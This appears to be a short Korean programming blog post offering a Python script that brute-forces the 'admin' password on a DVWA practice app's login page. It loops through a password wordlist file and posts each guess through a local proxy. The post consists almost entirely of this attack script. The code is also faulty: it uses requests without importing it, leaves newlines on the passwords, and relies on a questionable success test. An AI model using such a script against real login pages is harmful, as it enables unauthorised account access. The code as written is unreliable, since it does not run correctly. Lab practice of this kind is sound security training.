프로그래밍/Python
requests으로 DVWA의 Login-dirctionary
JoGeun
2018. 10. 21. 13:14
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | import sys from bs4 import BeautifulSoup import re #login login_url = 'http://192.168.10.134/dvwa/login.php' proxies = {'http':'http://localhost:9000', 'https':'http://localhost:9000'} fd = open("command.txt") while True: pass1=fd.readline() if pass1 == '': sys.exit(1) login_data = {'username':'admin', 'password':pass1, 'Login':'Login'} resp=requests.post(login_url,data=login_data,proxies=proxies) soup = BeautifulSoup(resp.text, 'lxml') if soup.h1: print("[ ok ] password is", pass1) fd.close() | cs |